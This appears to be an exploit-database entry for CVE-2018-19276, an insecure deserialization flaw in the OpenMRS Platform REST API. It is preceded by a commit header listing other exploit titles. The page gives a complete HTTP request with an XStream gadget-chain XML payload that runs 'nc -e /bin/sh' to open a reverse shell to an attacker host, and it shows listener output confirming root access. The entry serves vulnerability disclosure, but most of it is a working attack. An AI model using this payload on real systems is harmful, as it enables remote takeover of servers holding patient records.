d667cf901c
11 changes to exploits/shellcodes Device Monitoring Studio 8.10.00.8925 - Denial of Service (PoC) River Past Audio Converter 7.7.16 - Denial of Service (PoC) ResourceSpace 8.6 - 'watched_searches.php' SQL Injection SuiteCRM 7.10.7 - 'parentTab' SQL Injection SuiteCRM 7.10.7 - 'record' SQL Injection ResourceSpace 8.6 - 'watched_searches.php' SQL Injection SuiteCRM 7.10.7 - 'parentTab' SQL Injection SuiteCRM 7.10.7 - 'record' SQL Injection BEWARD N100 H.264 VGA IP Camera M2.1.6 - RTSP Stream Disclosure BEWARD N100 H.264 VGA IP Camera M2.1.6 - Cross-Site Request Forgery (Add Admin) BEWARD N100 H.264 VGA IP Camera M2.1.6 - Remote Code Execution BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure devolo dLAN 550 duo+ Starter Kit - Cross-Site Request Forgery devolo dLAN 550 duo+ Starter Kit - Remote Code Execution Zyxel VMG3312-B10B DSL-491HNU-B1B v2 Modem - Cross-Site Request Forgery OpenMRS Platform < 2.24.0 - Insecure Object Deserialization Linux/x86 - Random Insertion Encoder and Decoder Shellcode (Generator)
102 lines
No EOL
4.4 KiB
Text
102 lines
No EOL
4.4 KiB
Text
Insecure Object Deserialization on the OpenMRS Platform
|
|
Vulnerability Details
|
|
CVE ID: CVE-2018-19276
|
|
|
|
Access Vector: Remote
|
|
|
|
Security Risk: Critical
|
|
|
|
Vulnerability: CWE-502
|
|
|
|
CVSS Base Score: 10.0
|
|
|
|
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
|
|
|
|
JAVA 8 ENVIRONMENT
|
|
By injecting an XML payload in the following body request to the REST API provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used to exploit the vulnerability:
|
|
|
|
|
|
POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1
|
|
Host: HOST
|
|
Content-Type: text/xml
|
|
|
|
<map>
|
|
<entry>
|
|
<jdk.nashorn.internal.objects.NativeString>
|
|
<flags>0</flags>
|
|
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
|
<dataHandler>
|
|
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
|
<is class="javax.crypto.CipherInputStream">
|
|
<cipher class="javax.crypto.NullCipher">
|
|
<initialized>false</initialized>
|
|
<opmode>0</opmode>
|
|
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
|
<iter class="javax.imageio.spi.FilterIterator">
|
|
<iter class="java.util.Collections$EmptyIterator"/>
|
|
<next class="java.lang.ProcessBuilder">
|
|
<command>
|
|
<string>/bin/sh</string>
|
|
<string>-c</string>
|
|
<string>nc -e /bin/sh 172.16.32.3 8000</string>
|
|
</command>
|
|
<redirectErrorStream>false</redirectErrorStream>
|
|
</next>
|
|
</iter>
|
|
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
|
<method>
|
|
<class>java.lang.ProcessBuilder</class>
|
|
<name>start</name>
|
|
<parameter-types/>
|
|
</method>
|
|
<name>foo</name>
|
|
</filter>
|
|
<next class="string">foo</next>
|
|
</serviceIterator>
|
|
<lock/>
|
|
</cipher>
|
|
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
|
<ibuffer></ibuffer>
|
|
<done>false</done>
|
|
<ostart>0</ostart>
|
|
<ofinish>0</ofinish>
|
|
<closed>false</closed>
|
|
</is>
|
|
<consumed>false</consumed>
|
|
</dataSource>
|
|
<transferFlavors/>
|
|
</dataHandler>
|
|
<dataLen>0</dataLen>
|
|
</value>
|
|
</jdk.nashorn.internal.objects.NativeString>
|
|
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
|
</entry>
|
|
<entry>
|
|
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
|
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
|
</entry>
|
|
|
|
The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response:
|
|
|
|
~ » nc -vlp 8000
|
|
Ncat: Version 7.60 ( https://nmap.org/ncat )
|
|
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
|
|
Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51
|
|
Ncat: Listening on :::8000
|
|
Ncat: Listening on 0.0.0.0:8000
|
|
Ncat: Connection from 172.16.32.2.
|
|
Ncat: Connection from 172.16.32.2:52434.
|
|
id
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
pwd
|
|
/usr/local/tomcat
|
|
|
|
|
|
The response should contain an error message similar to the one below:
|
|
|
|
|
|
{"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service
|
|
…omitted for brevity…
|
|
|
|
|
|
The response above showed that the REST Web Services module was unable to process the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team to gain shell access. |